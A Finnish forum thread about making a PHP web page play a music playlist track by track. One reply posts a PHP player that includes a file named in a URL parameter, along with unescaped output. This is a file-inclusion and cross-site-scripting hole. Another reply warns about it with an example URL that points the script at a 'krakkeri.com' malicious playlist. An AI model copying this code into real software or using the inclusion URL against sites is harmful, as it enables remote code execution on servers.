Heippa
Pitää tässä vielä kysyä, että jos olisi yhdessä tiedostossa lista kaikista kappaleisa (nimi|sijainti), niin miten saisin PHP:llä niin, että kun yksi kappalee on soitettu kokonaan, niin seuraava käynnistyisi? Se on kiusannut monia kuukausia minua, että miten sellainen onnistuu.
Ei onnistu PHP:llä. PHP on palvelinpään scriptikieli, joten tuon tyyppisen asian toteuttamiseen tarvitaan jotain muuta kieltä php:een lisäksi.
Tuo voi onnistua, jos PHP pyörii samalla koneella ja jos PHP-skripti käynnistää soittimen sopivilla komentorivioptioilla. Riippuu soittimesta, onko tuo mahdollista.
Edit: Tämä kysymys on Nettisivut ja -ohjelmointi -alueella, joten jos netin välityksellä moista haluttiin, niin se ei onnistu :)
Milläs tämä sitten pitäisi tehdä?
Onnistuuko sitten PHP:llä, jos myös kappaleiden pituudet ovat merkitty ylös? Näin ainakin periaattessa osaisin sen tehdä, mutta en tiedä toimiiko se myös.
Ensin miettisin sen konseptin, että miten nettisivua käyttäen käynnistetään kappaleita. Sen jälkeen kun tuo on hanskassa, niin toteuttaminen PHP:llä on pala kakkua.
Eli voisi ajatella, että jos kappale on upotettuna sivuun (vaikka taustamusiikiksi), ja tiedät kappaleen pituuden, niin ei muuta kuin refresh kappaleen pituuden kuluttua seuraavan kappaleen sisältävään sivuun.
Ettet nyt yritä tehä jotain, mikä onnistuis paremmin olemassaolevilla työkaluilla? Tutustu vaikkapa MPD:hen ja sille saatavissa oleviin veppiklientteihin
Rocceri kirjoitti:
Milläs tämä sitten pitäisi tehdä?
Kurkkaa tuonne: http://flash-mp3-player.net/
Ei ihan selvinnyt mitä yrität, mutta tuolla voi ainakin soittaa mp3-soittolistaa nettisivuilla. Tietty vaatii flashin.
Tällaisen olen joskus tehnyt jos oikein ymmärsin mitä haet.
mp3 tiedostot c:/musiikki/
glob.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fi" lang="fi"><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> .soitin { position:fixed; top:50px; left:10px; z-index:1; width:320px; height:120px; } .lista { position:absolute; top:10px; left:350px; z-index:3; width:720px; height:120px; } </style> <?php $linkki = $_GET['page']; $hae = $_GET['pg']; $haku = strip_tags($hae); if(isset($_POST["pg"])) { $haku .= $_POST["pg"]; } ?> <div class="soitin"> <form action="" method="get"> <input type="text" name="pg" value="<? echo $haku ?>"><input type="submit" value="Etsi"> </form> <pre>Soitetaan -> </pre><? echo $linkki ?> <br><br> <object id="mediaplayer1" width="280" height="140" classid="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95"> <param value="<?php echo $linkki ?>" name="Filename"/> <param value="true" name="AutoStart"/> <param value="True" name="ShowControls"/> <param value="true" name="ShowStatusBar"/> <param value="true" name="ShowDisplay"/> <param value="True" name="AutoRewind"/> <embed width="280" height="140" autorewind="1" showdisplay="1" showstatusbar="1" showcontrols="1" autostart="1" EnableContextMenu="1" ShowGotoBar="1" src="<?php echo $linkki ?>" pluginspage="http://www.microsoft.com/Windows/Downloads/Contents/MediaPlayer/" type="application/x-mplayer2"/> </object> <br> <?php foreach (glob('*.m3u') as $listat) { $listaa .=("<a href='?page=$listat'> $listat</a><br>"); } echo $listaa; ?> </div> <div class="lista"> <br> <pre> <?php echo $linkki, '<br>'; # @include ($linkki); ?><br><br><? if ($haku =='') { $haku = ('ääää'); } foreach (glob('C:/musiikki/*'.$haku.'*.mp3') as $fileet) $ulos .= ("<a href='?pg=$haku&page=$fileet'>$fileet</a><br>"); echo $ulos; $ehto = substr($linkki, -4, 4); # Jos $linkki = .m3u niin tulostetaan lista $linkistä. if ($ehto == '.m3u') include $linkki; ?> <br><br> </div>
esimerkki m3u tiedostosta
hector.m3u
C:/musiikki/Hector_-_Lumi_Teki_Enkelin_Eteiseen.mp3
C:/musiikki/Hector_-_Mandoliinimies.mp3
C:/musiikki/Hector_-_Olen_Hautausmaa.mp3
C:/musiikki/Hector_-_Olet_Lehdeton_Puu.mp3
C:/musiikki/Hector_-_Perjantai_On_Mielessain.mp3
C:/musiikki/Hector_-_Susanna_Haavisto_-_Kanssasi_on_Hyva_Olla.mp3
C:/musiikki/Hector_-_Yksinainen_Tinasotamies.mp3
Vaan mitäpä voikaan tapahtua, jos pegin skriptiä kutsuu alla kuvatulla tavalla?
glob.php?page=http://www.krakkeri.com/pahakoodi.m3u
(URL-enkoodaus jätetty pois, jotta esimerkki on helpompi ymmärtää)
Aihe on jo aika vanha, joten et voi enää vastata siihen.